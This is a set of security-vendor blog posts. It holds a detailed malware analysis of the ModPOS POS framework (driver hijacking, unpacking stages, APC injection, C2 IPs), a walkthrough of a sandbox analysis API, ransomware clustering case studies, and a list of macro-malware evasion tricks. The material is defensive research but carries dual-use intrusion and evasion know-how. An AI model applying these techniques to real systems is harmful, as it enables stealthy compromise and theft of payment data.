With ModPOS malware authors have developed a system that not only compromises payment processes at the origin device, but, at the same time, it does so from the kernel of these systems, well outside the reach of most security solutions.

As we will describe in this post, the ModPOS malware is much more than a system for compromising POS systems: it is a versatile framework that allows an  attacker to leverage a practically unlimited range of tools to interfere with a compromised system. Even more, this malware works on any 32-bit Microsoft Windows system (many POS systems on the market today are still running on Microsoft Windows XP) allowing to use this malware on more than just POS systems.

By leveraging process snapshots extracted by the Lastline FUSE sandbox, we walk through the most important parts of this versatile framework. We will show in detail how the infection spreads through the entire operating system, and how the attackers behind ModPOS can leverage the framework to load arbitrary plugins into user- and kernel-space of an infected system.

Background

Although ModPOS was only first reported late last year by iSight in their blog alongside a high-level technical paper published at the same time, the iSight analysis suggests that parts of the system can be found as far back as 2012. With such a long history, it comes at no surprise that the malware authors behind this framework have picked up number of interesting tricks making it extremely powerful.

So what do we mean by saying ModPOS is a framework? ModPOS is not only a specific attack on point-of-sale devices, but instead it attacks a device’s kernel and provides an attacker with a versatile and modular system for loading arbitrary plugins into the system (we have seen PlugX use a similar plugin-based approach a while back) . These plugins carry out the actual malicious behavior, such as leaking payment information from the POS device to the command-and-control infrastructure, changing payment details to the attacker’s choosing, or stealing sensitive information (using memory scraping to steal passwords) from the device to compromise more systems and expand the attacker’s control through lateral movement.

ModPOS plugins are loaded on-demand when instructed by the attacker: the framework downloads a plugin from the command-and-control backend over an encrypted channel (interestingly this is plain HTTP containing encrypted content using a key embedded in an HTTP header), and executes the plugin’s functionality by injecting new code into a user- or system-process of the attacker’s choosing. Thus, to analyze such a versatile framework, analysts clearly require a system that is able to dive deeply into malware running in kernel-mode, and that is able to see all behaviors performed there. Otherwise, without this level of visibility, an analyst is blind to the behavior of the ModPOS framework or the activity of a given plugin.

The Lastline sandbox uses full-system emulation (FUSE), which is able to extract behavior at the instruction level in user- as well as kernel-mode. Because of this, we can monitor all behavior necessary to understand the behavior of the ModPOS framework. Even by only focusing on the actions performed by the framework (that is, without an attacker actively pushing a plugin performing a specific malicious behavior), can we classify this malware by identifying that the kernel module is able to inject data into (system) user-mode processes or contacts a command-and-control site:

Even more, our sandbox extracts full-process snapshots whenever new code blocks are found inside an analyzed process (for example, after code has been unpacked or is injected into another process). This allows us to analyze the different stages of the malware through off-the-shelf tools, like IDA Pro.

In the remainder of this post, we will walk through the different steps of how ModPOS works using process snapshot examples generated by the Lastline FUSE analysis system.

Initial Infection

While it is not yet clear how most POS infections happen in detail, the fact that most systems on the market today run on the discontinued Microsoft Windows XP OS allows attackers to deliver the malware using a plethora of ways (such as delivering the malware through remote exploits or by using social-engineering to trick a user into running an infected file on a target host).

In this post, we inspect one ModPOS variant that targets 32-bit Windows XP. The initial infection (dropper component) is a packed executable (using the same packing technique explained in Section Unpacking: Stage 2). This dropper contains an encrypted PE file (embedded as Bitmap resource) that is decrypt byte-by-byte with a key of 16 bytes and subsequently executed.

After unpacking, the malware injects a 32-bit driver into the Windows kernel using an interesting mechanism: instead of registering a new service (potentially raising suspicion), the malware searches for an existing driver-service on the system (selecting one at random) and reusing this service for loading its own driver.

To do so, the malware reads the legitimate driver’s image module path and loads this (benign) image into memory. Next, it overwrites the driver image on disk with its own (malicious) driver (again, embedded inside its own PE) and starts the driver-service either using ZwLoadDriver or by sending a command to the Service Control Manager for starting the hijacked service. Once the malicious driver has been loaded into the kernel, the malware restores the original driver on disk (using the data previously loaded into memory) and terminates.

The Lastline sandbox is able to track malware running in the user- as well as kernel-mode. Thus, the system finds that new code is loaded into the kernel and continues tracking the malware code there:

Even more, whenever the sandbox encounters interesting artifacts (such as code unpacked in memory, code injected into a user-mode process, a driver loaded into the kernel, or a file being written or modified on the file-system), the sandbox automatically extracts this artifact to allow further analysis by users:

The driver loaded into the kernel is obfuscated through several layers of packing: in the first layer, the sample contains multiple functions that implement basic mathematical operations (such as add and xor) that operate on the second stage that is hard-coded in the dropped file.

For example, the following function EncData_Add

takes one argument that is added to data at offset B7345A00(the location of the second stage payload in memory).

Interestingly, most of these arithmetic operations done by the unpacker in the first stage are only included to throw off human analysts: the main loop of the unpacker generates a set of random numbers using functions like PsGetCurrentThreadId, PsGetCurrentProcessId, KeQuerySystemTime, or GetRuntimeCount as seeds. These random numbers are then passed as arguments to invoke the arithmetic functions mentioned above. At the same time, the arguments are stored on a separate stack, so that later the same operations can be applied in reverse order. Given the nature of these add and xor functions, this means that the content of the second stage is back to its original content once the loop completes. Our dynamic analysis is of course not affected by this technique.

Once this decoy decryption is complete, the actual main decryption function uses the first 64 bytes of the encrypted data (at 0xB7345A00 in our case) as a XOR  key to decrypt the remaining data (stored beyond the first 64 bytes). In multiple iterations over the code, the XOR key is used to decrypt 4 bytes at a time (location B734529F) and is rotated right by 3 (bits) after each iteration (location B73452A9) . Eventually, the unpacker jumps to the decrypted, second-stage code (location B73452BB):

 

Unpacking: Stage 2

The first 0x2FF bytes of the second stage payload act as minimal loader: this small code section is responsible for allocating memory, arranging code sections, relocating variables and jumps, building import tables, and finally jumping to the final payload. 

The loader reads header information from memory right after the loader code itself (that is, after the first 0x2FF bytes of the second stage). This information is separated into four different headers: main-,
section-, relocation-, and import-header. 

The Main Header contains 5 fields:

1. Size: complete size of data
2. Base Alignment: base values subtracted when relocating a value
3. AOE: address of entry point to data
4. Relocation Sections: number for relocation header
5. Sections: number of sections present inside the header

 

The Section Header contains 3 fields:

1. Index: section start address (RVA) in memory
2. Section Size: length of the raw section data
3. Data: raw section data 

 

The Relocation Header contains values that need to be changed to make code work properly after relocation. The header stores the offsets of values inside the memory to relocate; during relocation, the values stored at these offsets are adjusted to the new base-address (plus alignment) of the memory.

The header has 2 properties:

1. Element Count: number of elements in the relocation array
2. Array of Offsets: each offset entry points to the relative virtual address (RVA) that needs to be updated as part of the memory relocation 

 

The Import Header contains the imports that the code needs to run. The code builds a lookup table of function addresses for each function and uses this table to later call the functions. Each entry in the header has 3 fields:

1. Module Name: null terminated ASCII string storing the module from which the API function is imported
2. Index: lookup table index at which the address of the imported function is stored
3. API Name: null terminated ASCII string storing the name of the API function to import 

The second stage loader starts with allocating the required memory as defined in the main header (Size property at 0xF080 + additional 0x100 bytes). Then, it reads the section header, copies all sections (based on header details), and performs the relocation of addresses using the data from the relocation header.

Next, the loader builds imports as follows:

1. read the name of the library (module name) from the import header and obtain the base address in memory at which the module is loaded using NtQuerySystemInformation (with value SystemModuleInformation(0xB) as parameter),
2. read the Index number from the import header and calculate the address (base-address of the lookup table + index) where the function address will be stored, and
3. read the API function name from the import header, resolve the address of the function address in memory, and store this information in the lookup table at the calculated address.

With all imports in place, the loader gets the offset to AOE (address of entry point) from the main header, adds it to the base address, and jumps into this final payload at the computed address.

Unpacking: Final Payload

The final stage starts by importing system native service routines (“Nt-functions”, such as NtCreateFile or NtWriteVirtualMemory) from ntdll into the kernel, since these functions are not directly accessible to kernel modules. To do so, the code parses the ntdll module’s export table and code section to get the System Service Descriptor Table (SSDT) index numbers:

With this information, the code can now directly call native routines without having to call the “Zw-function” counterparts (such as ZwCreateFile or ZwWriteVirtualMemory) that go through the SSDT for each call.

To complete the unpacking, the code creates a system thread and launches the decrypted ModPOS functionality.

System Thread Analysis: User-Mode Injection

The main functionality of the ModPOS framework operates as system thread inside the Windows kernel. Once invoked, it first generates a system fingerprint, using information such as processor name, processor serial number, and the system drive serial number. This information is combined into a system GUID using key 0x380F7A53 to XOR-encode the gathered information. This GUID is used as name for creating a Mutex (via NtCreateMutant) - if this mutex is already present on the system, the thread simply exits assuming the framework is already running.

As next interesting step, the thread injects code into a trusted user-mode process csrss.exe (windows subsystem process). To this end, it enumerates the processes running on the system using NtQuerySystemInformation (with parameter SystemProcessInformation(0x5)), checks the name of each process, and, once found, opens the target process. The code retrieves the process handle and allocates 0x1000 bytes inside the target process using NtAllocateVirtualMemory. Then it combines two location-independent shellcode buffers embedded inside the kernel module and writes them into the target process's memory through NtWriteVirtualMemory (location 89837A07). This shellcode serves as entry point to running in user-mode as described in more detail below. Once again, as new code is injected into another process, the sandbox extracts this code to allow further analysis.

Next the system thread queues an asynchronous procedure call (APC) on all threads of the target process via NtQueueApcThread (location 89837A51). The APC entry point is set to the base address of the allocated memory (location 89837A46) at offset of 0x1C (location 89837A4C):

 

 

Then the system function waits for the injected code to be executed in the context of the target process. For this, it tries (up to 20 times) to read a specific memory address inside the target process (location 89837A8E) that will be filled by the injected code once the APC has been executed. The value used for polling is the thread ID for which the APC was invoked (location 89837A98):

 

 

User-Mode Analysis: csrss.exe

Similar to the final stage of the of the kernel component, the code injected into csrss.exe starts by resolving addresses of API functions. More specifically, the code registers an exception handler (location 00E000A8) for ignoring memory read violations and starts searching for the Kernel32 module by iteratively reading memory addresses starting at address 0x80000000 (down to address 0x0).

When a PE section is found in memory (by matching the “MZ” PE header at a 0x1000 byte alignment), the code parses the export table from memory. The code locates interesting functions by matching the function name against hashes of API functions. To compute the hash of the function name, the code uses the same custom algorithm also used by the kernel-mode driver component described earlier:

For example, these are hashes the code is searching for:

 Once the location of the required kernel32 functions is known, the code creates a new thread (to exit the context of the APC and make tracking control flow more difficult) and exits.  The entry point of this new thread is Base Memory Address + 0x2E3.

Since the new thread has its own thread ID, it stores this updated value to the memory location the driver component is polling:

 

Once the system thread (polling in a loop) has read the user-mode thread ID, it knows that the injection was successful and establishes a communication channel between the kernel- and user-mode components. To this end, the system thread creates a Named Pipe with the name

"\Device\NamedPipe\Win32Pipes.%08x.%08x"

 where the first integer is the user-mode process ID in whose context the user-mode code is running, and the second integer represents how many attempts there have been performed to create this pipe. After successfully creating this pipe, the system thread registers another APC for reading data from the pipe by calling ZwReadFile, passing this pipe as handle to read from.

 

Code Injection Into Browser and Service Processes

Once the malware has successfully spread from the kernel to the user-mode system process csrss.exe, it continues spreading to other processes running on the system. To do so, it searches for the processes  iexplore.exe (Internet Explorer), firefox.exe (Firefox browser), and svchost.exe and gets their process IDs. 

For any process found this way, ModPOS injects code into their memory. Interestingly, the injection method is different this time: instead of injecting the code through kernel alone, this time it leverages code running inside csrss.exe to perform parts of the injection as follows:

• Get the target process handle: the driver component gets the list of running process using NtQuerySystemInformation and search for the target process. Once found, it duplicates the handle to the target process ID using ZwOpenProcess.

• Duplicate the handle of the named pipe which was created between the kernel component and the code injected into csrss.exe) using ZwDuplicateObject into target process. This way, code injected into the next process does not need to know the name of the named pipe for communicating with the driver component.
  

• Write the shellcode into the target process using NtWriteVirtualMemory. This shellcode contains the code as well as the handle for communicating on the named pipe.

• Duplicate the handle to the target process into csrss.exe using ZwDuplicateObject. This way, csrss.exe can interact with the target process without having to know which process is being accessed (that is, the code works the same for any of the above mentioned processes).

• Execute the shellcode via the APC in the context of csrss.exe to inject a remote thread into the target process using CreateRemoteThread:

The Lastline sandbox detects that new code is executed in the context of the hijacked processes and continues tracking the malicious behavior in these processes and - again - extracts process snapshots to allow analysis of the injected code.

Payload Analysis

Finally the ModPOS code is executing its target payload in the context of the correct process. Once again, the first step is to build the import table - the information is stored in the same way as for the kernel component. After building the import table, the code starts executing its main payload, such as connecting to the command-and-control infrastructure.

The ModPOS C&C works via HTTP, and the payload uses standard Windows API functions to communicate with the server:

The variant that we analyzed for this blog uses an HTTP POST for requesting the page "/robots.txt" on the following IPs

1. 130.0.237.22
2. 109.72.149.42

Upon successful connection, the code downloads and stores the C&C response. Interestingly, the response is in HTML format - the code will find HTML comment tag "<!--" inside the response and extract data from it.

Once the data from the C&C server is extracted, the user-mode component can then do whatever the attacker wants: it can load new plugins into memory or use the named pipe to interact with the kernel component (for example to inject the downloaded plugin into the kernel or any other process running on the system).

Summary

ModPOS is a sophisticated, heavily-obfuscated and packed malware framework that gives an attacker an incredible amount of control over a target system. The malware uses a series of unpacking steps to spread the malicious code to user- and kernel-mode processes, and injects code into a series of processes on an infected host.

The full-system emulation approach used by the Lastline sandbox allows us to track all parts of the ModPOS infection chain, and to extract the full range of behavior exhibited by this malware in user- as well as kernel-space. This allows us to catch malware even before an attacker pushes a specific plugin to an infected system by detecting spreading throughout the operating system. Additionally, the extracted process snapshots allow for deeper analysis of all steps in the infection chain.

 

Lastline’s solutions analyze network traffic, programs, documents, and other artifacts to identify and block advanced malware in enterprise networks.

In order to be able to easily integrate its functionality in the security workflow of the enterprise, Lastline products provide access to their functionality through APIs.

At Lastline, we really believe that by using well-defined, well-documented APIs it is possible to combine best-of-breed solutions together to achieve effective overall security capabilities, such as the ability to detect and quarantine (or even re-image automatically) compromised hosts.

We don’t take APIs lightly. Every aspect of our solution is based on APIs. Even our user interface retrieves all the information displayed by the browser using APIs, and, different from any other solution out there, we make this explicit in the UI itself.

Take, for example, the figure below, which represents a portion of our user portal.

In the top right corner there is a “</>” button. By clicking on that button, one can see the API request that was used to obtain the data used to generate the graph. You can see below a grab of what the request looked like.

This is very handy in order to determine, just by looking at the UI, how the information could be retrieved. However, Lastline also provide extensive documentation on how to use its APIs in order to script complex tasks.

In the following, I will describe the step-by-step process to get up and running with Lastline’s APIs.

First of all, there are two main APIs: The Analyst API and the Lastline API (also called the Product API or PAPI).

The Analyst API focuses on submitting samples to Lastline’s analysis infrastructure (which can be hosted by Lastline or on-premise at the customer’s site) and retrieving the resulting reports. This blog post will focus on this API, while a second blog post will focus on how to use the Product API.

The documentation of both APIs is available from the customer portal, under the help menu, as shown in the screenshot below.

But let’s get started.

The first step is, of course, to get a Lastline license and the corresponding API token, which is used for authentication.

The license looks like this: 2AAAD5A21DN0TBDFZZ66

The API token looks like this: IwoAGFa344c277Z2

Both credentials are generated at registration and are sent to the user in an email message.

We will use the above credentials in the rest of this blog (they are, obviously, fake).

To submit a file to the infrastructure we can simply use curl, a command-line tool available in most distributions.

Let’s choose a file from VirusTotal, for example:

https://www.virustotal.com/en/file/157162cf6ecfe9e0f584bf3d1249544437d6fc9810375cea549b0d8d310f6dae/analysis/

Usually, file submission is performed in two steps.

A first request is made to check if the file has already been analyzed. In this case, a hash of the file is sent (MD5 or SHA-1), in order to obtain a result.

The MD5 hash of the file is 5cafe3d4c826dc4652913a89d7bd444d.

The command-line request is:

curl https://analysis.lastline.com/analysis/submit/file -X POST -F "key=2AAAD5A21DN0TBDFZZ66" -F "api_token=IwoAGFa344c277Z2" -F "md5=5cafe3d4c826dc4652913a89d7bd444d"

Since the sample has already been analyzed, the result is a large json data structure. This is the  beginning of the returned data:

{"success": 1, "data": {"submission": "2016-03-09 21:04:16", "child_tasks": [], "reports": [{"relevance": 1.0, "report_versions": ["ll-int-win", "ll-win-timeline-based", "ioc:ll", "ioc:stix", "ioc:openioc", "ioc:openioc:tanium", "ll-win-timeline-thread-based"], "description": "Dynamic analysis on Microsoft Windows 7", "report_uuid":"2fbffe68406f50553d8d5400f3e3ef9c:575fea6c1138560cq22JObqvH_THQDOMJHix3lywJKFFpl8oRZudE96r5A4"},...

Note that since the sample was already known, the available reports are returned (in this case the dynamic analysis of the sample in both Windows 7 and Windows XP). One can then parse the json and extract interesting facts, such as the maliciousness score (field “score”), and the list of observed behaviors (field “malicious_activity”):

["Evasion: Switching processor mode from 32 to 64 bits (emulation escape)", "File: Modifying executable in root directory", "File: Modifying executable in suspicious location of application data directory", "Memory: Injecting code into browser process (chrome.exe)", "Memory: Injecting code into browser process (firefox.exe)", "Memory: Replacing the image of another process (detection evasion or privilege escalation)", "Memory: Writing to the memory of a non-child running process", "Network: Ability to download files from the Internet", "Network: Command&Control traffic observed", "Network: Connecting to server using hard-coded IP address", "Network: Hide network activity through code injection", "Packer: Loading an embedded PE image (potential unpacking)", "Packer: Overwriting Image Header (malicious packer)", "Search: Enumerates running processes", "Search: Retrieving the user account name", "Settings: Adding new trusted certificate to the system", "Signature: Identified trojan code", "Steal: Reading FTP client credentials", "Stealth: Creating hidden executable files"]

Let’s now take the same file, and modify one of its bytes to change its MD5 hash. As a result, we obtain a file that will behave identically but has a different hash, namely: 85b4abbf6b3cd97d048e369e66484573.

We now perform the same query for this new hash file:

curl https://analysis.lastline.com/analysis/submit/file -X POST -F "key=2AAAD5A21DN0TBDFZZ66" -F "api_token=IwoAGFa344c277Z2" -F "md5=85b4abbf6b3cd97d048e369e66484573”

This time, the json data we obtain is much shorter:

{"success": 0, "error_code": 101, "error": "No file found matching requested hash."}

The API is telling us that it needs the file to perform an analysis - this makes sense, since we just modified the file and we haven’t submitted it yet. Note that the system may return the same error despite having seen this file previously: this can happen if the analysis system decides to perform a new analysis (or parts of it), and the file is no-longer available in the analysis component.Therefore, we need to actually submit the file (which, in this case, is called “other.exe”):

curl https://analysis.lastline.com/analysis/submit/file -X POST -F "key=2AAAD5A21DN0TBDFZZ66" -F "api_token=IwoAGFa344c277Z2" -F "file=@other.exe”

What we get back is a task identifier:

{"success": 1, "data": {"task_uuid": "6738d71b044c4ff7ab07280181f28eac"}}

This tells us that the file has been submitted successfully and is now being processed.

We can check what tasks have been recently completed by calling the API endpoint get_completed, specifying that we want to know the tasks that have been completed after a specific time stamp (e.g., noon of March 11th, 2016, PST -- since the time must be in UTC, we need to add eight hours):

curl https://analysis.lastline.com/analysis/get_completed -X POST -F "key=2AAAD5A21DN0TBDFZZ66" -F "api_token=IwoAGFa344c277Z2" -F "after=2016-03-11 20:00:00"

The resulting json data tells us of what tasks have been completed since noon:

{"success": 1, "data": {"tasks": ["6738d71b044c4ff7ab07280181f28eac"], "after": "2016-03-11 20:00:00", "more_results_available": 0, "before": "2016-03-11 20:45:22"}}

As one can see, the task that we submitted has been completed.

Now, we are ready to request the result by calling the get_result endpoint:

curl https://analysis.lastline.com/analysis/get -X POST -F "key=2AAAD5A21DN0TBDFZZ66" -F "api_token=IwoAGFa344c277Z2" -F "uuid=6738d71b044c4ff7ab07280181f28eac"

The resulting json data contains all the reports that have been generated during the analysis of this samples.

{"success": 1, "data": {"submission": "2016-03-11 20:33:37", "child_tasks": [], "reports": [{"relevance": 0.55, "report_versions": ["ll-int-win", "ll-win-timeline-based", "ioc:ll", "ioc:stix", "ioc:openioc", "ioc:openioc:tanium", "ll-win-timeline-thread-based"], "description": "Dynamic analysis on Microsoft Windows XP", "report_uuid": "2fbffe68406f50553d8d5400f3e3ef9c:1cd12065e88c0bc1gZQo-WyzDu6SACX0Mcqnc6xY1PVupHmy5FR94WVo73c"}, {"relevance": 0.55, "report_versions": ["ll-int-win", "ll-win-timeline-based", "ioc:ll", "ioc:stix", "ioc:openioc", "ioc:openioc:tanium", "ll-win-timeline-thread-based"], "description": "Dynamic analysis on Microsoft Windows 7", "report_uuid": "2fbffe68406f50553d8d5400f3e3ef9c:737cb9037c28a797t7SgcBw9kSxNRrstBsnNrl9ql3PaUlmdmQJkQKjYX60"}], "task_uuid": "6738d71b044c4ff7ab07280181f28eac", "score": 100,...

Unsurprisingly, the sample is still considered malicious (score=100).

These few commands show how by using command-line tools, such as curl, one can directly interact with Lastline’s analysis infrastructure.

However, sometimes running commands from the command line and parsing json files is a bit cumbersome. Therefore, the Lastline user portal provides a Python module for easy access to the API endpoints.

It is sufficient to download the file called analysis_apiclient.py, put it in a directory called llapi_client, and create, in that directory an empty file called __init__.py.

Then it is possible to write very simple Pyhton program that will, for example, submit a sample and print its high-level behaviors:

import sys
from llapi_client import analysis_apiclient

analysis_client = analysis_apiclient.AnalysisClient(
   base_url="https://analysis.lastline.com",
  key="2AAAD5A21DN0TBDFZZ66",
  api_token="IwoAGFa344c277Z2")

filename_to_submit = sys.argv[1]

helper = analysis_apiclient.SubmissionHelper(analysis_client)
results = helper.submit_filenames_and_wait_for_completion(
  [filename_to_submit])
task_uuid = results[filename_to_submit].task_uuid
report = analysis_client.get_result(task_uuid)['data']
print report['malicious_activity']

The astute reader might have noticed that the above code has no actual error handling or attempt to be resilient with respect to user errors. It’s just a short example to showcase how easy it is to interact with the Analyst API.

In the next blog, we will combine the Analyst API with the Product API to collect more interesting information about a sample, and, instead of being just analysts, we will become hunters.

Leveraging the new clustering feature of the Lastline Knowledge Base to study recent ransomware threats

Authored by: Grégoire Jacob and Stefano Ortolani

With this blog post, we want to demonstrate how you can leverage the Lastline Knowledge Base and its new clustering feature to extract some key observations around a given threat. Using recent real world threats as study cases, we present different workflows to retrieve the analysis data related to these threats, to cross-reference this data with online information and blogs and, finally, to extract from this data actionable items to react to these threats and build informed remediation plans.

Clustering at Lastline

Before diving into our study cases, a few words to present our new clustering feature. The Knowledge Base now offers clustering services in order to group analyzed executables into families of similar programs or threats. The service supports multiple clustering perspectives in parallel by considering different approaches to compare samples and determine their similarity:

Similarity based on runtime activity: Dynamic clusters identify malware families sharing common observable behaviors  during their execution. Such behaviors encompass sharing a common C&C infrastructure, reusing the same persistency mechanisms, or targeting and tampering with the same system components.

Similarity based on code structure: Code-hashes clusters identify malware families sharing important portions of their code base. Code-hashes identify the different code blocks of the analyzed programs; these hashes are computed in a resilient way, making them resistant to various factors such as the relative location of the code in memory. The extraction of these code blocks and their hashing are performed by our sandbox during execution so the unpacked code can be accessed. By construction, code-hashes clusters are less influenced by the dynamic environment and the configuration embedded by the malware author (e.g. C&C configurations). These  factors are mainly determined by the data embedded in the sample and the data access at runtime. Instead, code-hashes clusters rely on a notion of similarity based on equivalent functionalities, the functionalities being determined by the sample code blocks.

The clustering results provided by the service are leveraged to identify samples and associate them to known threat families.Threat identification helps Incident Response (IR) and Security Operations Center (SOC) teams in their process of remediation and recovery as we will demonstrate in this post.

Rise of the ransomware threat

To choose interesting study cases, we decided to look at recent news and blogs in security. Recent reports from various companies and governmental organizations such as the FBI show that ransomware have become a growing concern over the past years. Ransomware families are rapidly multiplying as shown in the timeline below.

 A lot of material can be found about ransomware and the different techniques used to build their payload. In 2015, a Lastline presentation made at Black Hat underlines the predictability of their behaviors with intensive searches over the local and network accessible file systems to look for potential targets, the modification of numerous sensitive files increasing their entropy due to encryption, and finally noisy user notifications to ask for a ransom. Despite these shortcomings, ransomware remains a lucrative criminal activity and new families keep appearing on a regular basis. In this blog post, we chose to cover two of these new families: CryptXXX and Zepto.

Ransomware CryptXXX (a.k.a. Exxroute)

Mid-April, Proofpoint released an article about a new ransomware family called CryptXXX. This family has shown a fast evolution with already a version 3.1 disclosed in a follow-up article from June. We recently observed a sample of this family:

MD5

b17578933a74a5b6bee85dadc79bf132

SHA1

3301fddf1b4d2de95e58d798ca242658420ce621

 We observed in this sample the regular behaviors we find in most ransomware families with an intensive sweep over the different directories of the guest system in search for documents and other sensitive data files to encrypt. The picture below shows the analysis overview produced by Lastline for this sample.

With the new Lastline release, the Knowledge Base provides additional information around a sample with the attribution of the sample to different types of clusters. This information is integrated to the analysis results and a new section called ‘Intelligence Attribution’ has been introduced in the analysis overview. The clustering results for the given sample are pictured below. You can see in this image that a sample belongs to multiple clusters depending on the operating system used for analysis but also depending on the chosen notion of similarity, whether dynamic execution of static code similarity is considered.

 In this case, multiple clustering results converge towards CryptXXX. This information offer important additional value. By naming the threat, we can leverage this information to decide how to remediate the threat. In the case of ransomware, it comes particularly handy to search for potential recovery tools to recover your encrypted files. A quick search in Google with the right keywords already points to interesting results: ‘cryptxxx file recovery’.

Another interesting value provided by clustering is the capability to look for similar samples. From the clustering results of the given sample, you just have to click on the intelligence widget to trigger a search in LLKB for the given cluster label. Here we will follow the CryptXXX dynamic cluster with identifier 386.  A new page shown below is opened with examples of analysis reports belonging to the given cluster.

Having access to analysis reports from a same family, an analyst can quickly compare multiple executions and extract the shared information. This is particularly useful for the analyst to build a family model such as a robust IOC profile. Indeed, with a single execution path, it is really hard to determine what part of the execution are dependent on the environment or randomized at runtime. The comparison of multiple execution reports gives the analyst some point of reference to understand where such runtime dependencies are observed and where samples share similar activity. The search interface of LLKB already bubbles up the network information shared by the different samples as shown in the picture below. A quick look at the results show that CryptXXX samples do not show any domain resolution but share a common hard-coded IP 185.49.68.215. In the context of blacklist generation, this IP address constitutes an immediate actionable item to remediate the threat.

Ransomware Zepto (locky variant)

Recently reported in a  blog postfrom the Cisco Talos team, Zepto is the newest variant of the ransomware Locky. Since this discovery on June 30th 2016, this ransomware regularly made the headlines.

The name Zepto comes from the specific extension this ransomware appends to encrypted files. An article from BleepingComputer briefly describes the naming schema used by Zepto: “With this new version, Locky uses the .zepto extension and files are renamed to a name like 024BCD33-41D1-ACD3-3EEA-84083E322DFA.zepto. This new naming format is in the form of [first_8_hexadecimal_chars_of_id]-[next_4_hexadecimal_chars_of_id]-[next_4_hexadecimal_chars_of_id]-[4_hexadecimal_chars]-[12_hexadecimal_chars].zepto. For example, for a file called 024BCD33-41D1-ACD3-3EEA-84083E322DFA.zepto, the extracted victim ID would be 024BCD3341D1ACD3.”

Most recent ransomware, Zepto included, target accessible writable directories and network shares in their search for sensitive files to encrypt. Our Lastline sandbox uses such shares to lure malware into exhibiting their behaviors. Using this information, we can now combine one of these shares with the file example obtained from the article to craft our search entry:

UNC\127.0.0.1\Share\Docs\B8987A01-5548-92B9-047E-BD0EE9B1EB6C.zepto

Since the victim identifier constituting the encrypted filename is unique, searching our Knowledge Base for the exact file name example given by the BleepingComputer article is unlikely to yield results.  However, we can leverage some of the features offered by LLKB. Most of the information indexed in our base is normalized beforehand to erase known dependencies to the environment (e.g. user name) or runtime randomizations. User queries are normalized in a similar way in order to maximize the chances of successful results. In this case, the filename structure used by Zepto is successfully recognized as a valid UUID structure and normalized as shown in the picture above.

The query successfully returns a first set of results as shown in the picture above. It is interesting to notice that, despite the conflicting AV labels shown in the report list, the clustering facet shows that all samples were clustered under a unique dynamic cluster label: dyn_wxp_ransomware_zepto_9083. In the same way it was for CryptXXX, the network information is bubbled up with a list of shared domains and IPs as shown in the picture below.

For now, we only have investigated dynamic clusters. We have seen that dynamic clusters successfully group together samples having similar runtime behaviors and sharing the same C&C infrastructure.  We can now obtain a second perspective on the results with the second type of clustering based on static code similarity supported by LLKB.  Using the facet navigation, we can now choose the code-hash clustering view of the data: as pictured below, the samples from our search all belong to the same cluster: 'c#_wxp_ransomware_unknown_1552'.

By clicking on that view and selecting this cluster, a new search is automatically triggered. This second search has extended the number of results.  This behavior was to be expected since static clusters group together samples sharing important portions of their code base, independently of the malware author configuration and the runtime environment.  Zepto is known to be a straight variant of Locky code wise but configured differently to use a different file extension and to point to a different C&C infrastructure.  These differences observable at runtime disappear at the level of static code hashes as illustrated by the clusters overlap in the picture below (a single code-hash cluster pointing to multiple dynamic cluster

 This second search has also enriched the number of IPs and domains bubbled up from the reports.  Code hashes clusters, as we just said, are more resistant to environment changes, in particular at the network level.  Over time, the C&C infrastructure of a malware can be relocated to avoid blacklisting or sinkholes can be deployed by researchers or law enforcement to observe the C&C communications.  The two pictures below, first the enriched set of IPs and domains, and second, an extract of the HTTP traffic observed in one of the samples.  The picture shows clear difference of traffic between an active C&C host and a sinkholed host.

An interesting intel, provided by the query and shown in the picture below, is the timeline of the samples and their associated AV labels. These labels are generated for reference from the AV information available at the time of the analysis. A first observation is that the cluster label is usually more consistent than the AV labels associated to the samples belonging to the cluster. AV names tend to be mixed and inconsistent across samples and products. A second observation with regards to these labels is that a certain number of  samples are labeled as 'Undetected' only samples missed by the major AV products when generating the label are marked as undetected.   Knowing that Zepto was discovered on June 30th, the Lastline scores in comparison show that from day one, the threat was successfully covered.

From there, we can now start a drill down operation by picking up the first domain  returned by the system: rbwubtpsyokqn.info. You just copy-paste it in the search bar to start your search.

 When you search by IP address or domain, LLKB provides you additional networking information around your search term such as the passive DNS information. This information, as given in the example below, is interesting to understand the evolution and movement of the threat and its C&C infrastructure.

 Leveraging LLKB, we can also gain some insights to understand how Zepto was delivered to the victims. After changing the facet to display the result by file type as shown in the picture above, we can observe that the domain was not only observed in reports resulting from the analysis of executables. Confirming the results of this study from Sophos, we can actually observe that the majority of reports are mainly for Javascript and Office documents that constitute the two main dropping mechanisms for Zepto, usually carried out as mail attachments.

Conclusion

Through these different use cases, we have shown that the Lastline Knowledge Base is a very flexible tool supporting different types of workflows. LLKB allows users to rapidly obtain global information about a threat, in particular thanks to its new clustering feature. As we have seen, global information enables a better assessment of the threat, of its properties but also provides actionable items to build informed remediation plans: threat identification to search for remediation tools, identification of the dominant dropping mechanisms, information shared by the threat such as IPs and domains for blacklisting, similar threat reports for robust IOC profile generation. LLKB also allows users to drill down and to perform deeper analyses by searching for any of the elements shared by the threat under scrutiny.

Authored by:Alexander Sevtsov and Arunpreet Singh

Macro malware, introduced back in the 90’s, which lives inside Microsoft Office documents, is currently making a somewhat unexpected, but nonetheless frighteningly, successful comeback.

The idea of infecting Internet users through documents is effective and incredibly simple, because all that is needed from a victim user - unfortunately one of the weaker links in enterprise security - is a simple click on a button. Infecting a user via macros in Microsoft Office documents is often combined with social engineering attacks (such as well-crafted emails), convincing the user to enable macro execution (if it’s not already enabled).

Additionally, writing VBA code is easy, and many templates are available for an attacker to start from. Last but not least, the crooks don’t even need to spend any money on obtaining expensive 0-day exploits for spreading their “work”.

The simplicity of this attack comes at a price, however: macro code is typically accessible as plain-text and is easy to identify if no care is taken by the attacker. Thus, with the increasing popularity of macros, malware authors have to find ways to raise the bar for security solutions to understand and detect this malicious macro code. Unfortunately, the range of possible evasion techniques is huge - just to name a few examples:

• Do not execute any malicious functionality upon file-opening (an activity that is triggered by practically every analysis system); instead, execute macros only upon closing of the malicious document.
• Heavily obfuscate macro code and include random, often unused functionality to get around static analysis scanners.
• Use password protection on the code project to prevent analysis systems from looking at the original macro code.
• Use exotic file types/formats such as wsf, dotm, mht that may not have received as much attention from security systems as other well-known formats have.
• Split malicious functionality over multiple components to bypass dynamic anti-malware systems.

In a series of articles, we will shed some light on several recent waves of attacks that make use of the above mechanisms. We have seen malware using these evasion mechanisms and install a wide range of payloads ranging from ransomware (Locky, TeslaCrypt, or Nymaim) to Trojan-Bankers (Dridex), all with the goal of financial gains.

